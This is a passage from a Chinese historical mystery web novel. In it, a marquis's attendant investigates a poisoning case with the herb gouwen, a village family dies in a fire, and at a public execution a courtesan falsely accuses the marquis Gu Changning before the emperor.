扬风不耐:“我提醒你,你若是有所遮掩而不如实回答,下一秒你可能被绑起来了。” 威胁之语向来比温声细语要管用,何安面露纠结之色后开口:“家母患有肤疾,这钩吻可缓解疮疡肿毒,我买点回去给家母敷用。” 扬风对药理向来不通,此刻身处医馆,他觉这何安也没必要信口胡驺,又想起他为一烟柳女子赎身,于是又问 “你有婚配?” 扬风其实听到回答又看向他神情时,便已觉眼前人在撒谎,但这不重要,他现下能撒谎,但也毕竟承认买了钩吻。 于是他才又另问。 何安本已做好再问答案,却不料话题一转,见这问无关痛痒了些,于是扯起一抹看着不太自然的笑躺下:“有的。” “何人?” “乃是清水村的朱家姑娘。” 说起自己未婚妻,何安眸光露出些显而易见的柔光,仿佛很是爱慕一般。 扬风记得,清水村和南栖村都在上京郊外,肯定相隔不远。 下意识,扬风问:“朱家?那你未婚妻全名是?” “朱影儿。” 名字一完整,扬风立刻便对上号了。 朱影儿和苏木带回来的影儿,究竟有没有关联? 为了弄清楚,扬风抬眼问:“你未婚妻曾在宰相府中当过丫鬟吗?” “宰相府?” 何安眉角微扬,以为自己听错了:“没有啊,影儿自小在清水村,只是前几日在城中学医。” “对了,就是我买药的安和堂!她就在那学医,我时常前去看她。” 这下,轮到扬风疑惑了,这侯府里的影儿明明说自己乃是宰相府丫鬟,而且宰相府中之人也的确承认有这人的存在。 可何安所说的朱影儿,似乎和侯府的影儿不像同一人。 心下疑惑,为防止有误差,扬风还是决定再确认一下。 刚好他怀中也有影儿模样画卷,于是抽出展开后反手给何安展示。 “你看看,朱影儿是画上之人吗?” 何安又从席上而起,半坐时由于压迫到肚子,还轻咳了几声。 他仔细看画中女子。 不过刹那,何安虚弱摆手:“官爷,这不是我未婚妻,这人我不认识。” 不认识? 怎么可能? 如今细微细节似能对上,却又模模糊糊,扬风刚好再问,门外大夫已进来。 “这位公子还是先出去,老夫施针时不喜有人在身侧。” 医馆大夫是一胡须老人,扬风虽要办事,但也不好耽误人大夫救病治人,毕竟人是他带来的。 想罢,扬风退到帘外。 约摸半刻后,帘布掀动,大夫从里走来,询问大夫此人未伤根本后,扬风才又进去。 二人出了医馆,扬风站在他身侧,要求他带着他先去清水镇查看,他要去看看,朱影儿和侯府那位,究竟有何关联, 扬风也不知身侧之人是装的还是说真话,但不管怎样,他都要问个清楚。 “你既然有婚约在身,为何还要去玉春楼流连。” 扬风没问,你为何还要帮人赎身,而是直接用确信的口吻以问,是想要打探出一些可信的回答。 何安从医馆出来便一直捂着腹部,也不知是真疼还是假疼,扬风也未注意。 “玉春楼?” 何安否认:“我对朱家姑娘一心一意,为何要去玉春楼等境地?” 扬风见他否认如此之快,侧头仔细凝视眼前人的神色,想要看出些端倪来。 但无论怎么看,这神色与这语气倒真像是实话。 “一次都没去过?” 扬风追问。 何安否认摇头,一开始头晃得厉害,后面却又慢了下来,扬风看得出来,他那神色瞧着倒像是想起了什么。 果不其然,何安举起一直捂着腹部的右手锤了锤前额:“我记起来了,我的确去过一次玉春楼,不过我可不是背着朱家姑娘去的,而是朱家姑娘让我去的。” 又是朱家姑娘。 作为男子未婚妻,为何会派自己未婚夫到玉春楼去?扬风颌首:“你可还记得派你去有何事?” 扬风此刻已知眼前人为老实人,在这些对话之中,虽然何安也有警惕之心,可他若是有意隐瞒,那是一个字都问不出来的。 现下对话来看,这何安防备心不足,不知有意无意已经透露出许多信息。 他想看看,还能从何安嘴里套出多少话出来。 何安此刻私下也在思衬,自这扬风出现,似乎就知道不少他和自家未婚妻之事,再加上这几日总是有人跟在他身后想要置他于死地,他多少也能猜到眼前人为官家。 他本身也未做亏心事,因此也不惧所问。 俩人一来一回这么一问一答,扬风清晰了许多。 何安所说,他也不知究竟何事,只是朱家娘子让他递了一沉甸甸的箱子给玉春楼妈妈,其余的他一概不知。 扬风暂未提起赎身契一事,何安也未提。 可如此说来,玉春楼、朱家姑娘以及何安之间,必定有某种联系。 扬风请何安为自己带路,一路来到清水村,却在村道之上河边,遇到仓皇众人用木桶打水。 一些人面色仓惶步履蹒跚,水桶刚满又颠簸洒下不少。 一妇人路过扬风身侧,桶中水差点泼了扬风一身,他及时扶住妇人,随即询问:“可是发生何事了,为何众人皆匆匆神色?” 妇人道谢,抬眼看是陌生人还犹豫几分,顺着往右边看,瞧见了熟悉之人,于是急促开口:“朱家,朱家着火了!” 何安知道清水镇姓朱的人家并不多,在听到朱家二字后猛的睁眼,急问:“可是村头朱家。” “就是啊!” 那妇人答完便提着桶往前跑去,扬风二人紧跟其后。 暮色沉沉,山风卷着焦糊味掠过一片山野,扬风二人跟在妇人身后,见到眼前景象后猛然顿住。 周围是青瓦土墙的屋舍,衬托处眼前这一座本该如此,而现在却只余焦黑的断壁残垣,几缕灰青色黑烟正从烧黑的木梁间袅袅升起,草木灰散发出一股呛人糊味,让人不敢往前靠近。 余有几处明火燃烧,一行人从湖边返回,不住泼水。 扬风侧目,看见了何安那难以置信的神色。 让身侧身躯为之一怔的,是一旁屋角,几名村民面前围着白步,脚步缓慢而稳重的往外抬着东西,定睛一看,那裹着破席子的轮廓,分明是人的形状。 何安眼下布满了血丝。 扬风站在原地,跟在何安身后,何安与村民说了几句话,一时接受不了,他怀抱屈膝,蹲坐在地上。 扬风聚神一瞧,看的十分清楚,他拉起何安一同数那摆放整齐的尸体。 无论怎么看,都是两架尸体。 扬风掀席而查,丧命之人为一对夫妇,虽面目模糊,但其余村民皆可由细致之处认出,而那位叫朱影儿的女子逃过一劫,并未在其中。 后,稽查司之人匆匆赶到,扬风自知不能露面,于是退避而带上何安。 将他绑入了侯府。 烛火在扬风眸间跳动,他努力回想今日所见所闻,并一五一十的告诉了顾长宁。 他抬眼看案上之人表情。 顾长宁点着头一语道破:“何安被人追杀、朱家遭灭顶之灾……” “这两件事,怎么看都不像巧合。” 顾长宁蹙眉,神色沉沉:“除非,是有人先我们一步,做好了一切计划。” 第33章 申时, 河岸柳树抽出些新芽,柳枝轻垂河面, 泛起圈圈涟漪,一露天茶舍沿岸边而设,几架竹椅木桌随意摆置,三五个茶客们结伴而坐,手中捧着的清茶袅袅,好不惬意。 小二忙的脚不沾地,提着热壶奔走, 茶香随河风四散, 驴车吱呀而过, 各小贩吆喝声此起彼伏, 午后时分显得惬意无比。 茶馆角落一不起眼桌角,三两老者偶有几声“啧啧”, 引的对桌男子侧耳。 对桌男子着一袭浅月蓝色长袍, 衣质如莹润水泽,外罩窄袖深青锦纹襟带, 领口绣有缠枝暗纹, 素雅中透露着贵气。 与寻常竖着高髻不同, 他青丝只一半高束,同色丝带绾成简净冠髻,余发滑落身后, 气质疏朗,身形颀长,水蓝映着湖水,为那疏离的面容平添几分柔意。 顾长宁敛眉品茶,耳边却时刻听着那桌动静。 “听说了吗?”角落桌旁一人放低声音, 压着嗓子道:“新春宫宴的赵爵世子一案破了!” “什么?”另一年长汉子不确定般重问。 “这你不知道?” 侧边一瘦高男子咂舌:“赵爵世子在新春宫宴被下了毒,如今虽然是好了,但是究竟是谁下的毒却不知,前几日稽查司在查此案,说是一位女子暗地下的毒。” 听着明确描述,年长汉子唏嘘:“女子?这么大能耐呢,宫里人吗?为何要毒杀赵爵家的公子?” “不是宫里人,宫外的。” “宫外,那她是如何混进皇宫的?” “这就不知道了,这种案件稽查司都是秘密审理,详的信息,我们也不知道啊。” 年长汉子不解了,于是又问:“那你为何知道是女子?” “前几日,稽查司直接去侯府拿人,你是没瞧见那情形。” “别的不说,榜文上说明日午时在东西大街交汇处斩首,我可得去凑凑热闹。” “你去不去?” 瘦高男子一脸兴奋,仿佛斩首操刀之人是他一般。 “去啊!这等场面,我倒也去见识见识……” 这话题结束的快,角落那桌喝完茶便各自回家,顾长宁听见这桌罢了,那桌又讨论起来。 整个茶舍乃至整个上京,极少有人不知,稽查司破了新春毒案。 搭在茶杯边缘的指节轻点,顾长宁不动神色地听着耳边八卦,只有听到“斩首”时才指尖微顿。 一些脚步渐远,另一脚步渐近,最终停于他前。 “公子,明日……” 扬风话还未说完,顾长宁折臂轻止,缓缓起身。 “公子可是要回了?” 扬风见顾长宁往道旁走去,向小二丢了几两碎银之后便紧跟其后。 顾长宁点头未语。 按理说,如今侯府仍处于被管控中,他是不能出来的,只是有人帮衬,他才换了一身装束蒙混而出。 出府目的不为其他,只为确信一些谣言已经传了出去。 既然稽查司的消息出不来,那他只好借外之力为饵,看那鱼是否上钩。 “的确得快些回去了,沈姑娘还在侯府等着,若是叫人察觉不对劲,那得出问题。” 今日顾长宁得以出门,还得多亏了宰相府的两位千金帮忙。 宰相祖上乃是先帝太傅,博学多识,圣上在宰相府中设书塾,除谢家宗亲一脉可至相府修学外,上京王宫贵女皆被邀请。 顾长宁自然也不意外。 也是在那段日子里,顾长宁和谢辞桉二人为书塾佼佼,并称“上京双英”。 其中谢府二位千金和顾长宁走的最为亲近,只是后来顾长宁伤了眼,这才疏离了些。 这二位也是一听自家哥哥查案把侯府给封了,借机探望时,顾长宁以想出去透透气为由,让顾长宁和谢家二公子换了身份,由叶眷带着一并混出。 扬风回想,今日二位姑娘是午后来侯府,如今已至暮色时分,若相府发现叶眷姑娘与谢家二公子迟迟未回,自然是要寻人的。 “叶眷在何处。” 叶眷,便是谢府唯一的嫡女,也是少时谢府书塾与顾长宁交好之人。 “在不远处的文房铺中,说是为你添上一笔,以为自家兄长赔罪。” 顾长宁缄默,叶眷多此一举了,其实她无需赔罪,谢辞桉那人他是了解的,其实不过秉公办案,他被圣上下令暗查此时,谢辞桉不知情,他并不怪罪任何人。 顾长宁语中有些无奈:“我不便过去,你寻她过来,我们一道回府。”- 天色已逐渐昏沉,三人一前一后行走在青石街上。 顾长宁步履还算沉稳,主要多亏身侧的姑娘。 和顾长宁并肩而走的是叶眷。 近看,杏眼清丽,眼尾上扬而不娇媚,面目柔和而温婉,绾的极好的飞仙髻上插玉簪,流苏随步伐生动;远看,她着一袭月白色褙子,外罩着浅青色纱衣,衣襟和挽着胳膊的袖口清晰可见的绣着细碎折枝花痕。 瞧着和身旁人,倒是般配。 这次出府不便拿着手杖,顾长宁看不清脚下路,叶眷挽着他手臂,一是防止他摔倒,二是如今他身份为叶眷二哥,就算挽着也无不妥。 三人是走的极慢,直到扬风走到他跟前说:“公子,到了。” 知道自己是用了别的身份出来的,顾长宁拿起一直拿在手中的帏帽,戴上后才又往里去,扬风在他前,踩出的脚步声指引着方向。 侯府门口出了有看门家丁外,还守着几名身着飞鱼服的稽查司侍卫。 稽查司之人看清来人后未怀疑,他们的都指挥使是谢府公子,自然也是识得二公子和叶眷的,于是拱手示礼后便放二人进去了。 一进门,一俏皮娇软声音传来。 “姐姐,你们怎的这么晚才回来!” 女子模样娇俏,看着年纪稍小,她上前牵起叶眷的玉手:“我们得回去了,不然谢伯伯和伯母得着急了。” 几人往里走着,见绕过影壁,叶眷一时无暇顾及她,拍了拍她手莞尔一笑,侧头看向顾长宁:“长宁哥哥,你快些进去换衣吧,劳烦你将二哥叫出来,我们得回去了。” 顾长宁闻言难得一笑:“好,今日麻烦你了叶姑娘。” 比起叶眷所称,顾长宁的称谓多少生疏些,但叶眷也似乎早已习惯,温笑点头。 女子不便进男子房间,叶眷二人在外等候。 顾长宁脱下身上所着,换回了以往的玄色常服。 扬风收衣时还打趣:“公子不愧是衣架子,谢二公子这衣服,倒也很衬公子。” 顾长宁正换里衣,听到这句话后拉衣襟的手指轻顿,随即理了理头发:“明日侯府可解禁令,你安排一下,明日午时,所有东西必须准备好。” 他转开话题,神色沉重。 “可公子,明日圣上、赵爵以及上京城百姓都会到场,公子不怕得罪吗?” 怕隔墙有耳,扬风未指明道姓,认真整理着放置软榻上的衣物。 “若是怕得罪,我顾长宁自然不会选择明日。” 顾长宁往榻上一坐,斜倚在扶手处,衣袖拖落至案上,昏黄烛火跳跃眸间,眸色一如冷寂:“你得仔细看着那些人,明日出不得差错。” 扬风应着,他心下已知事情妥帖,只等明日开戏,于是端着衣托准备离去。 “对了。” 顾长宁又开口:“苏木的奴籍,可准备好了?” 扬风止步,回想起前日。 前日,自家公子突然给自己安排了一个任务,那就是给苏木办理假籍。 之前因着各种事情而耽搁,他也未押苏木户籍,如今她被关稽查司,若是被谢辞桉察觉苏木身份有异,她也是要被问罪的。 扬风前日便去寻了黑市,但不巧的是,做籍的纸册供不应求,今日才能取到货,明日早上方能拿货。 他回身拱手,一句办妥了让顾长宁安了心。 这样看来,也算是万事俱备了。 扬风退下后,顾长宁手执手杖,顺着手杖指引而出门。 叶眷二人还在亭里,众人都在等着谢二公子。 见顾长宁出来,叶眷身旁女子用手肘拐了拐她,她面露羞涩,被推搡着上前半步。 顾长宁恰好也身处庭中。 “长宁哥哥,明日为十五花朝节,上京郊外桃花开的甚好,你能同我一同前去吗?” 叶眷能说出邀请之语,自然是知道明日侯府便可出入自由。 她小心抬眼,眸中满是期待,她仔细看着顾长宁的面部表情,生怕错过一个细节。 顾长宁眸色黝黑,面色不动,声音却比平常温和许多:“你也知,明日午时之事与我侯府有关,我怕是不能去了。” 他思衬,叶眷大老远的从相府来看他,他也不好回绝太决绝,想了想,于是又说:“若不如改日,你有其他要求,我定不回绝。” 没想到会被拒绝,叶眷神色一黯,勉强扯出些笑容,想要再邀请,可又怕多说一句会让人厌烦,玉手双手垂落身前,不停搅拌着手指。 这副扭捏姿态全然落入身旁女子眼中。 可顾长宁眼中无物,自然也看不到眼前人眸中失落。 她也知,叶眷品性温良,绝不是强迫人的性子,他以为如此说便够了,却不料叶眷身后人上前一步。 “长宁哥,这犯事丫鬟差点把整个侯府牵连出去,你就是不去那也是合理的,况且那花朝节也有向花祈福之意,你若去了,也能扫扫这几日所遇之晦。” 女子挽起叶眷手臂,打抱不平,语气稍有不满:“明日是叶姐姐生辰,你为了此事而拂了叶姐姐所愿,不太好吧。” 女子话里意思显而易见,那就是说,今日他们帮了他,于情于理,叶眷生辰他都应该赴约。 顾长宁确实不记得明日是叶眷生辰。听到这话时,轻扬了那双墨眉。 但明日之事实乃不能推脱,他必须亲自到场。 “沈姑娘,顾某确实不知明日乃叶姑娘生辰,这样吧,明日之后,谢某可请礼赔罪。” 听到“请礼赔罪”二字,叶眷连忙摆手,她不是强人所难之人,忙羞愧摆手:“不必的,既然长宁哥哥不方便,日后再说吧。” “乐儿说的有道理。” “什么日后再说啊!” “顾长宁,今日我妹妹可是陪你出去了,明日她生辰你却不相陪?” “那今日之事,本公子不知何时就说漏嘴了。” 谢家二公子谢少盛的爽朗声音自身后游廊而来,由近及远……—— 第34章 谢少盛模样白净, 轮廓英秀,浓眉乌眸, 眸中呈出些光亮,走路时摇摇摆摆,幅度张扬,一看便是开朗少年模样。 此刻,他已换好自身那一袭浅月水蓝长袍,扬风亦跟在身后。 谢长盛向来不拘小节,总是爱和顾长宁称兄道弟。 这不刚走到顾长宁身侧, 抬手将小臂搭在了顾长宁肩上。 顾长宁蹙眉, 不动神色往另一侧移动半分, 那小臂自然而然落了下来。 下一刻, 谢少盛的手又搭在了顾长宁肩上。 “伯沅兄,我妹妹又不是什么洪水猛兽, 你陪她去一趟又如何。” 谢少盛明朗鲜活, 他早在很久之前便知道自驾妹妹爱慕。 因是帮着叶眷说话,叶眷面上有些娇红, 不好意思的垂眸, 即使对不上顾长宁的眸光, 她也羞的不敢看。 “谢公子,不是我家公子不愿,明日的确有要事。” 扬风见自家主子被为难, 忙着解释。 但这解释,顾长宁也亲口说了,但这谢少盛也未见罢休。 “一个丫鬟的命何以与眷儿生辰相比,况此事没牵连侯府,若是牵连了, 十个脑袋她也不够。” 谢少盛仰仰头,双指捋过额前碎发,一副满不在乎之样。 谢少盛话音刚落,他身侧男人的眼皮几不可察地抽动一下,藏在宽袖下的手指骤然收紧,指节也泛出些青白。 顾长宁虽为边疆将军,也曾杀戮无数敌国将士,但他从不是视人命为草芥之人,也不是随意将性命和这等事做比较之人。 他早已习惯京中权贵做派。 顾长宁缓缓抬眼,眉峰微蹙,嘴角淡漠扯出一丝凉薄:“生辰不过是年岁之中偶然的刻痕,可性命确实活生生摆在眼前的。” “若是一个人的性命你视若草芥,又何以见得花朝节的神仙能护你吉凶?” 顾长宁已然不悦,冷声反问后唇讥道:“谢公子如此看轻人命?” 此话一出,除了顾长宁和扬风,在场之人脸色都有些难看。 身侧谢长盛看衣摆有些污泥,正弯腰抖落,没料到顾长宁如此当真,一时见气氛凝重,于是立马站直了身子尴尬笑笑,想要弥补自己所说之话。 谢长盛陪笑:“伯沅兄,你曲解我的意思了。” “稽查司将此案已查的清清楚楚,你去也不过是看那街头行刑,况且你有眼疾……” 谢长盛本是想要扭转刚才的话,但有时候就是如此,越描越黑。 见顾长宁忌讳的“眼疾”已脱出口,谢长盛忙拍拍自己的嘴巴,一时不好再替叶眷说话,于是说:“伯沅兄,我不……不是那个意思。” 谢长盛长叹一口气,像是妥协:“既然如此,我们也不是勉强你的人。” “那,我们先告辞了?” 谢长盛试探一问,懒懒搭在顾长宁玄色衣襟上的手已拿开,后退半步拱手。 顾长宁未言,谢长盛自然不敢再多留,这上京城的人都知道,这顾长宁现下性情可比往年阴沉多了。 叶眷和沈珏乐也不好多说什么,只好被谢长盛引着往庭外而去。 庭中无声寂静,顾长宁耳侧还能听见庭外下人扫地之声。 思索片刻,他开口:“叶姑娘,明日我同你前去” 未料到事情还有转圜的余地,三人往外走的脚步一滞,谢长盛最先回头,他笑得灿烂:“就知道老兄你不是寡义之人!” 顾长宁侧耳,又说:“明日午时前我得离开,若有不周,叶眷姑娘勿要怪罪。” 叶眷同谢长盛同时转身,听到远处的人又补上了一句,眸中光亮恢复如初。 她哪里会怪罪。 远处之人能答应同她同游,这是上京多少女子渴望而不可得的机会,也是她少时萌动终于有了些许回应之时。 叶眷克制语气中的喜悦,尽量表现得大方,嗓音清婉:“无碍,那明日辰时,我在府门等你。” 应了声也算定下了约,叶眷与其余二人缓缓朝着府门方向而去。 此时,夜已入深,过了惊蛰,这夜里的风吹着倒也不会觉得冷。 或许,还能让顾长宁理清思绪。 见人走远,顾长宁面上的倦怠和疏离才尽数抖落出来,他不喜人多之处,更不喜与人打交道。 只有在一人之时,心才方安。 扬风上前,回想刚刚,他甚是不解,他向来知道他家公子是说一不二之人,没想到刚刚还是妥协。 他其实也觉得,叶眷姑娘温柔识大体,和自己公子像是良配。 自家公子身侧常无亲人作伴,或许有位爱人在侧,也是好事。 他试探一问:“公子一开始不是拒绝了吗?为何后来又答应了。” 顾长宁冷然立于庭中,周遭灯笼烛光笼罩他身,将他的身影在地上拉出一长长黑影,显得孤寂而冷清。 顾长宁少有叹气:“不管怎么说,今日能得以出去也的确多亏了二人。” “明日午时前,我会赶回来的。” 他本不愿前去的,一直以来,他也知京中女子多待他有慕心所在,可无论是他之前久驰沙场,还是如今尚居上京,他都还未遇到那个能让他为之动容的女子。 长姐说过: 心未逢属意,情不宜妄予。 他牢牢记在了心里。 扬风总觉自家侯爷情丝未开,他也算和顾长宁相伴长大,很少看见自家公子对哪家姑娘不一样。 所以,他看的心急,想推自家公子一把。 “公子,你觉得叶家姑娘如何?” 此话一出,背对的顾长宁突然转过身来:“扬风,你是不是太闲了?” 这话听着无杀伤力,但扬风已知自家公子的态度,他不敢多问,于是垂头应声退下。 顾长宁掌心摩挲着手杖,一步步朝屋中而去。 偌大的庭院,只一人身影,是有些冷寂。 …… 东西二街交汇处,素来是整个上京城最繁华的地段,酒楼茶肆数不胜数,街面宽广可容百车千人。 一向繁华吵嚷地段,此刻却安静的可怕。 唯独那邢台上阵阵冷脆的铁链声碾穿整条大街。 苏木被押上刑台时还是挺立着身姿,至台上中央时,肩背被身后穿着飞鱼服的侍卫猛然一推,她踉跄几步,双膝一软,顷刻跪倒在地。 她举起被铁链束缚住那沉重的双手,拂了拂眼前遮挡视线的碎发。 向台下望去,密密麻麻的人群在太阳底下晃的人眼生疼,她试图眯着眼减轻不适,朝四周看去,像在寻找什么。 突然,苏木眸光一闪,唇角露出一丝无人可察的笑意。 扬风在,那顾长宁必然也在。 身侧羁押侍卫瞧跪在地上之人四处张望,不悦朝她背骨上踢了几脚,语带警告:“别张望,转过来!” 被猛的一踢,苏木陡然倒地,挣扎直立上半身时,刚捋上去的碎发再次散开。 她发丝凌乱,脸上血渍污秽,青丝一半凌乱挽起,另一半则胡乱耷拉肩前,遮住了她那泛着苍白的半边脸颊,只露出若隐若现的泛乌的青唇。 苏木身上穿着的还是那日的素青衣裙,此刻尽数被新旧深浅血渍染尽。 台下众人皆可看的清楚,她那衣裙,应当是被鞭子所撕裂,衣襟破败不堪,血迹更暗。 苏木无力起身,她背对着台下众人,垂着头面向堂上之人。 缓缓抬眸,高坐于堂上的是今日特设御审的皇帝,黄袍辉金,隔着珠帘亦可瞧见神情冷漠。 坐于他右侧的,是一位身着祥云墨衣官服的中年男子,官服上绣着鎏金蟒纹,脸上胡须遍横,面色冷峻,和苏木对视时眼泛杀意。 她知道,那便是这个案子的当事人——赵严伯爵。 此刻,有人和赵爵正对视点头打招呼,赵爵也撤回了自己带着凛然的视线,神色温和许多。 顺着目光而去,是谢辞桉,他正低头和赵爵说着些什么,二人的声音不大,听的并不仔细。 台上就此三人,别无其他。 区区五日未见,她不可能认不出顾长宁的模样,她从左至右眸光横扫,最后黯淡下来。 此刻,日光正值上空,再过半刻便至午时。 皇帝居高临下,冷冽威严之声自珠帘后传来。 “苏木,朕问你,可认这弑赵爵世子之罪?” 这一问,不过是让台下万姓知晓,此时此案已结,至午时便可行刑。 这一问落地,压迫十足。 台下众人不敢喧哗,屏息侧耳。 苏木抬头,午时日光洒落她那布着干涸血迹的面颊,眸光出奇的平静,似幽潭,黝黑而不起波澜。 她挑眉,似是第一次听到这句话一般,面对圣威而不惧,与帘后冷然双眸遥遥对视。 良久,她唇瓣轻启,声音有些干哑,但声如破竹,清晰无比。 “民女……不认。” 寂静顷刻间破裂,堂上台下众人皆哗然,议论声、啧气声、谩骂声自四方涌上,漫天吵嚷。 台上靠外阶上,谢辞桉身旁侍从有些慌张,立马拱手解释:“大人,前几日她认罪时你也在场。” 他望向台上圣颜,生怕被迁罪,解释的匆忙。 此刻,谢辞桉正负手而立,他凝神淡面,淡淡看着台上那遍体鳞伤但却傲然不屈的身影。 谢辞桉摆手,没有发声,亦未上前。 台下稽查司侍卫在维持秩序,堂上之人不敢出声,凝神以待皇帝发话—— 第35章 “哦?” 皇帝的这一声意味深长, 从珠帘后传来,似带有疑惑之音。 可下一秒, 他的声音又笼罩着不容置疑的冷厉压迫,在这日头高照的时刻里,也犹如寒风般穿透人心的凉意。 “苏木,你若是在朕面前耍诡计,你应该知道有何下场。” “之前,在稽查司你可是招认了,今日却想翻供, 意欲何为?!” 赵爵性子瞧着急躁, 皇帝刚说完, 他便厉声询问, 杀意凸显。 他起身朝珠帘拱手,语带诚恳:“皇上, 马上至午时, 行刑吧。” 恳求之声已出,而那坐于高台之上的人影却纹丝不动, 堂下众人未得答案, 大气也不敢出, 空气一时都像被凝结一般。 忽而,台下涌出些嘈杂之声。 有一男声高喊:“既然如此必定有冤情!可不能滥杀无辜啊!” “对啊!对啊!” “那女子瞧着也不像为非作歹之人!” “问清楚也不迟啊!” 声音自台下远处传来,声音却大, 本来集中在一侧,后来掀起整个浪潮,台下喊再审之人一时呈铺天盖地之象。 谢辞桉身后侍从轻问:“大人,我下去再派点人手。” 说着,他就要往台下去, 谢辞桉单手撑开,拦住了去路。 “不必。” 谢辞桉神情温润,语气却不容置疑。 阻拦行刑喧闹之人乃是稽查司职责,可谢辞桉不让他去,他这个侍从也不好硬往,只得作罢。 台下,扬风听着身后吵嚷之声,神色带笑,静静看着台上一众人。 他抬头看着日光马上轮至头顶,扬风朝人潮稀疏地望去,未见自家公子身影,这下他神情又多了几分紧张之色。 台下人声鼎沸,台上人未敢发言。 良久,皇帝才开口:“先听她如何辩解。” 要平人心,那就不能有半分异议。 见皇帝已发了令,赵爵不好再多嘴,沉着身子往旁座而去,入席后,恶狠狠地盯着苏木。 苏木并不怪罪,她知伤者为赵爵家公子,赵爵生气乃人之常情。 她想,若是有一天让她知道珏乐被人欺负,她也定当亲手宰了他。 她无视那冷箭般射过来的目光,苍白的唇角带起一抹似笑非笑的弧度。 苏木缓缓抬眼,望向那高台尊影,声音坚定:“民女绝非毒杀赵爵世子之人。” 她猛咳两声,声音开始有些无力,但眼神依旧冷峻沉稳,虽身跪却声未跪:“民女知道,是何人所做。” 此声一落,原本稍显寂静的台下再度哗然一片,数千目光投身台上那单薄却挺立的背影上。 皇帝未言,身边公公领回来意思,示意她继续说。 “关于我说的话是否可信,皇上可听涉此案的另一人,月华姑娘一言。” 此刻,月华正被押着站于台下,本身便是设计苏木先执行,后月华上台。 此刻见苏木说起,谢辞桉感受到有一双目光向他投来,他侧身一看,皇帝盯着他开口:“既然如此,把这位月华给朕带上来。” 皇帝下令,立于一旁的谢辞桉示礼应声,转身向台下侍从示意。 片刻,刑台之上便多出一女子。 这位女子一出,台下众人的声音更是沸反盈天,这面容即使相隔甚远,众人也能瞧得见。 玉春楼的月华姑娘,那可是上京城数一数二的美貌,无人不想一睹芳容。 一些有幸见过的在下高喊:“是玉春楼的月华!” 其余人好奇张望,见到那发丝黏沾在白皙脸颊,不改眉眼娇媚的面容时,依旧不住赞叹。 声音有些过于大了,谢辞桉派人下去维持秩序,一时之间,喧哗声少了许多。 月华跪于苏木身侧,苏木点头示以安定之色。 本身还有些因紧张而颤抖之人此刻平静了几分,死死攥着衣角的手也松动了几分。 许是身侧苏木给了她些许勇气,月华开口从容:“民女拜见圣上。” 她俯首作礼,苏木才想起自己方才已忘记需示以尊礼这回事,眼下似乎再做也不妥,苏木便直直跪着,未动半分。 果然,那堂上皇帝也并不在意,至公公拂了拂腕上拂尘,传达圣上旨意。 月华起身,继而说:“关于赵爵世子中毒一事,毒药的确是我所取,但我不过是为人办事。” 一语落地,堂上左侧之人坐不住了,苏木睨看一眼,赵爵斜坐而视,眼底尽是不屑:“你们二人若不是怕死了?” “为何与之前之话完全相反,岂不是当我等好骗?” 赵爵心急,皇帝却摆手,平着气:“继续说,你是替何人办事?” 得到示意,月华咽了咽口水:“回皇上,我为之办事之人,” “是顾家小侯爷——顾长宁。” 这句话还在耳边回想,台下众人已炸开了锅。 和所想所计划完全不一样。 月华她竟然改了说辞。 苏木攸然愣住,眼里的错愕和震惊溢于言表,她瞳孔骤缩,不可置信地看向身侧之人。 眼底最终浮起一丝冷意。 果然,人心难测。 旁边人一开始未看向她,她声音还带着颤抖,侧目忽然对视上,眸中闪着些错乱和害怕。 未等皇帝开口,月华摸索着往前爬了几步,一瞬和苏木拉开了些距离:“皇上,小侯爷命我买来钩吻,后让他府中小厮取回后同他一同赴宴,毒杀世子的药就是他投下的。” 见月华信口雌黄,苏木眼底虽是冷静,心上却慌张不已。 她趁众人不注意朝四周望去。 可顾长宁的身影,依旧未有出现。 苏木肺腑暗语:顾长宁,你若不来,这场独角戏,怕是难唱。 台上,赵爵正要开口,皇帝却先一步问:“苏木,你难不成也是想说是顾家侯爷派你与月华联络?” 皇帝这一问不无道理,若是将苏木串起来,似乎说得通了。 可动机在哪? 苏木反驳,掷地有声:“非也,此事非顾小侯爷所做,民女刚刚也不是……” “皇上,民女这有证据。” 苏木话还没说完,身前月华再次开口,声音中少了许多惧怕之意,倒真像是拿捏把柄一般。 “呈上来。” 皇帝句短而凌厉,身旁公公往外迈出几步。 谢辞桉上前,颌首伸臂,掌中多出一物。 瞧见谢辞桉如此之快呈上物件,苏木几乎要错乱了。 他们不是商量好了吗? 可眼前所行之事,她为何全然不知? 她瞧着谢辞桉,脸上布满疑惑,可堂上之人众多,她不宜太过明目张胆,随即垂头恭谨。 那公公接过,立马呈给了中堂之人。 苏木微抬首仔细瞧着,皇帝单手抬高,那物件儿捏在两指之间,看的极其真切。 是一半边鱼形器物。 白玉通透,在日光下泛出些莹润光泽。 苏木认得那物件儿,少时曾在父亲怀中见过。 那是朝廷官员所特有之鱼符,是以证明身份之物,分左符和右符,现下拿在皇帝手中的,一瞧便知是右符。 “皇上请看,这鱼符便是顾小侯爷之物,我乃烟柳女子,进出侯府实乃不便,但因要帮侯爷办事,为方便,侯爷将这半边鱼符借予我,允我自由出入。” 月华不卑不亢,完全失了方才惧怕之意。 皇帝放下手臂,鱼符在手掌来回摩挲,隔着珠帘,苏木不辩他神色。 “既然你能自由出入,那为何还需这位苏木掳你回侯府?” 皇帝心下生疑,按照之前所看供状,那上面所写以及证人所指,皆称是苏木将人掳至侯府。 月华叩首,没抬头:“回皇上,开始民女不知侯爷寻钩吻一物有何用,自然无害怕之意,又因着对侯爷心生爱慕,为他做事一直未敢有半句置喙。” “可后来,民女在外得见榜文,发现榜文所写世子中毒,心下不敢再去侯府,便在外多呆了几日,没曾想被小侯爷另一属下,苏木所撞见。” “于是,才被掳至侯府。” “那你说说,顾长宁掳你回侯府,可做了些什么?” 皇帝倒是有耐心,顺着她的话继续问。 见问,月华也未显慌乱之色,应声而答:“民女谎称有孕躲过了刑法,顾小侯爷逼迫我认罪,说是如果稽查司之人查到侯府便将我供出去。” 前方赵爵听了进去,面上不屑,其实有了几分怀疑,因而继问:“那你当日为何不翻供?” “民女不敢。” “不敢?为何?” 皇帝问道。 月华头未抬,俯身回道:“民女的妹妹被侯爷关在侯府,侯爷威胁民女,若是说出去,便会杀了她。” “哦?” 听到此话,皇帝像来了兴趣一般。 身侧公公侧耳在皇帝跟前说了什么,皇帝看了看天时,苏木也顺着看去。 日光正值顶空,已至午时,是行刑吉时。 可皇帝摆手,语带冷笑:“有趣的很啊。” “你妹妹又在何处?” “你现在说出来,难道不怕你妹妹被顾侯爷灭口。” 一连串问题,苏木未来得及插嘴,月华回答:“我妹妹……她已经死了……”? 月华语中带有痛苦之意,连带着声音也有了几丝颤抖意味。 